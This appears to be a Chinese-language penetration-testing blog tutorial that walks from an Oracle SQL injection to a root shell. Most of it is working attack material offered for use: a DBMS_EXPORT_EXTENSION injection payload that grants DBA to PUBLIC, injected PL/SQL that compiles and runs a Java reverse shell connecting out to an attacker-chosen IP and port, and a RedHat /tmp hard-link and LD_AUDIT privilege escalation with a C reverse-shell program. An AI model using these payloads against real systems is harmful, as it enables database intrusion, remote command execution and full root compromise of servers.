Oracle 從sqli到get (root) shell
前言
本文記錄一下oracle從SQLi到get (root) shell的過程。首發於 T00ls
。
首先我們需要一個oracle的一個注入點,oracle一般被用於大型企業或組織的資料庫,所以它裡面的許可權劃分、表間關係就變得尤其複雜,有時候即使能注出使用者表也會存在 password
列做了檢視或多表聯合,導致拿不到真實的 password
。所以我們有必要對oracle資料庫的資訊做探測,我們可以通過sqlmap提供的 自定義SQL語句
執行這個功能探測一下使用者許可權、檢視等資訊,這裡使用 --sql-query
:
--sql-query=QUERYSQL statement to be executed Example: sqlmap -u "http://www.xxxx.com/index.php?ID=111" --sql-query "select username from users"
Oracle相關許可權
session_privs
oracle中我們可以通過查詢 session_privs
表得到當前使用者的許可權,如:
-- sqlmap output select PRIVILEGE from session_privs [19]: [*] ADMINISTER DATABASE TRIGGER [*] ALTER ANY INDEX [*] ALTER ANY TABLE [*] CREATE ANY INDEX [*] CREATE ANY VIEW [*] CREATE CLUSTER [*] CREATE INDEXTYPE [*] CREATE OPERATOR [*] CREATE PROCEDURE [*] CREATE SEQUENCE [*] CREATE SESSION [*] CREATE TABLE [*] CREATE TRIGGER [*] CREATE TYPE [*] DELETE ANY TABLE [*] DROP ANY INDEX [*] INSERT ANY TABLE [*] SELECT ANY TABLE [*] UNLIMITED TABLESPACE
這裡我們重點注意這個 UNLIMITED TABLESPACE
許可權,這個許可權很高,高到可以滿足我們後面執行 java
程式碼,導致任意程式碼執行、反彈shell。
unlimited tablespace是隱含在dba, resource角色中的一個系統許可權 一般DBA要把這個 UNLIMITED TABLESPACE許可權關掉
USER_CONSTRAINTS
引用docs.oracle:
USER_CONSTRAINTS describes all constraint definitions on tables owned by the current user. Its columns are the same as those in "ALL_CONSTRAINTS".
USER_CONSTRAINTS
存放了當前使用者表的所有約束定義。所以我們可以通過這個檢視當前使用者表裡是否存在對password的約束:
select constraint_name, constraint_type, table_name,index_name,search_condition, r_constraint_name from user_constraints where table_name = upper('YHB') [*] SYS_C007280, C, YHB,, None, [*] SYS_C007281, C, YHB,, None, [*] SYS_C007282, P, YHB, SYS_C000082, None,
可以看到當前表下有三個約束條件。
user_cons_columns
USER_CONS_COLUMNS describes columns that are owned by the current user and that are specified in constraint definitions. Its columns are the same as those in “ALL_CONS_COLUMNS”.
查到約束名稱後我們可以通過 user_cons_columns
檢視當前使用者擁有且在約束定義中指定的列。也就是得到約束作用的列(欄位)。如:
select ower,table_name,column_name from user_cons_columns where constraint_name='SYS_C000280' [*] PASSWORD [*] YHB
這裡明顯看到有一個對password的約束,當你在dump使用者表的時候如果發現password是none或者null,那麼就有可能是因為約束的原因。
user_views
USER_VIEWS describes the views owned by the current user. Its columns (except for OWNER) are the same as those in ALL_VIEWS.
user_views
描述了當前使用者擁有的檢視。檢視是oracle的一個重要組成部分,它使複雜查詢SQL變得簡單有效。
create or replace view v_complex as select table1.ename, table1.job, table2.dname from table1, dept where table1.deptno=table2.deptno with check option ;
如上就把兩個table做了一個聯合查詢的檢視,具體的可以另尋參考。
在滲透中我們可以使用如下進行查詢:
select VIEW_NAME,TEXT_LENGTH,TEXT from user_views [224]: -- 省略
Java程式碼執行
在得到目標的基本資訊後我們可以利用oracle對Java的支援進行 Java程式碼執行
。
前面說了 UNLIMITED TABLESPACE
可以滿足我們程式碼執行的條件。如果許可權不夠的話可以通過下面的語句進行提權:
' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--
執行後可能會報這個錯誤:
伺服器無法處理請求。 --> ORA-06550: line 1, column 7: PLS-00201: identifier 'SYS.DBMS _OUTPUT' must be declared ORA-06550: line 1, column 7: PL/SQL: Statement ignored ORA-06512: at "SYS.DBMS_EXPORT_EXTENSION", line 360
但在這個例子中並不會影響到我的操作,如果需要解決這個錯誤可以Google一下。
接著使用 java 反彈shell
。
建立Java反彈程式碼
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("{your_ip}", {your_port});Process p = Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
格式化程式碼後就是如下語句:
import java.io.*; import java.net.*; public class shell { public static void run() throws Exception { Socket s = new Socket("{your_ip}", {your_port}); Process p = Runtime.getRuntime().exec("C:/Windows/System32/cmd.exe"); new T(p.getInputStream(), s.getOutputStream()).start(); new T(p.getErrorStream(), s.getOutputStream()).start(); new T(s.getInputStream(), p.getOutputStream()).start(); } static class T extends Thread { private InputStream i; private OutputStream u; public T(InputStream in , OutputStream out) { this.u = out; this.i = in ; } public void run() { BufferedReader n = new BufferedReader(new InputStreamReader(i)); BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u)); char f[] = new char[8192]; int l; try { while ((l = n.read(f, 0, f.length)) > 0) { w.write(f, 0, l); w.flush(); } } catch (IOException e) {} try { if (n != null) n.close(); if (w != null) w.close(); } catch (Exception e) {} } } }
這裡要注意區分目標系統,如果是linux就要改變執行的命令,否則會報:
伺服器無法處理請求。 --> ORA-29532: Java call terminated by uncaught Java exception: java.io.IOException: can't exec: cmd.exe doesn't exist
此時嘗試換成 /bin/bash
。
賦予Java可執行許可權
上面只是相當於寫了個檔案,我們還需要給它加上可執行許可權:
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
建立函式
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
這裡建立了一個叫 reversetcp
的函式,函式裡引用了上面我們建立的 shell
類( shell.run()
)。
賦予函式執行許可權
' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
執行reversetcp函式
' and (select sys.reversetcp from dual) is not null--
至此,就能將shell反彈到你的VPS裡。
提權
一般oracle的使用者的許可權不會太高,所以我們要提至root。
首先對目標伺服器做個資訊收集(截選):
whoami oracle uname -r 2.6.18 cat /etc/issue Red Hat release 5.3
在redhat5-6的系統中存在 /tmp 777許可權
提權的漏洞。
在/tmp下建立一個 .redhat
的目錄:
mkdir .redhat
接著利用 ping
這個命令,ping的許可權很特殊是S,可以在普通使用者使用這個命令的時候瞬間擁有這個命令的屬主許可權,這裡是root.
ln /bin/ping /tmp/.redhat/target
再接著:
exec 3< /tmp/.redhat/target # 刪除 rm -rf /tmp/.redhat/
接著找個 C語言
版的shell:
#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <fcntl.h> #include <netinet/in.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <fcntl.h> #include <netinet/in.h> #include <netdb.h> void usage(); char shell[]="/bin/sh"; char message[]="hacker welcomen"; int sock; int main(int argc, char *argv[]) { if(argc <3){ usage(argv[0]); } struct sockaddr_in server; if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Couldn't make socket!n"); exit(-1); } server.sin_family = AF_INET; server.sin_port = htons(atoi(argv[2])); server.sin_addr.s_addr = inet_addr(argv[1]); if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("Could not connect to remote shell!n"); exit(-1); } send(sock, message, sizeof(message), 0); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execl(shell,"/bin/sh",(char *)0); close(sock); return 1; } void usage(char *prog[]) { printf("Usage: %s <reflect ip> <port>n", prog); exit(-1); }
編譯:
gcc -w -fPIC -shared -o /tmp/.redhat oracle.c
執行:
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
即可得到一個root shell:
參考連結
ofollow,noindex">http://blog.51cto.com/akhack/1741615
https://www.cnblogs.com/chuanzifan/archive/2012/05/13/2497717.html
https://github.com/sqlmapproject/sqlmap/wiki/Usage
https://www.iswin.org/2015/06/13/hack-oracle/
https://blog.csdn.net/han_dongwei/article/details/40870197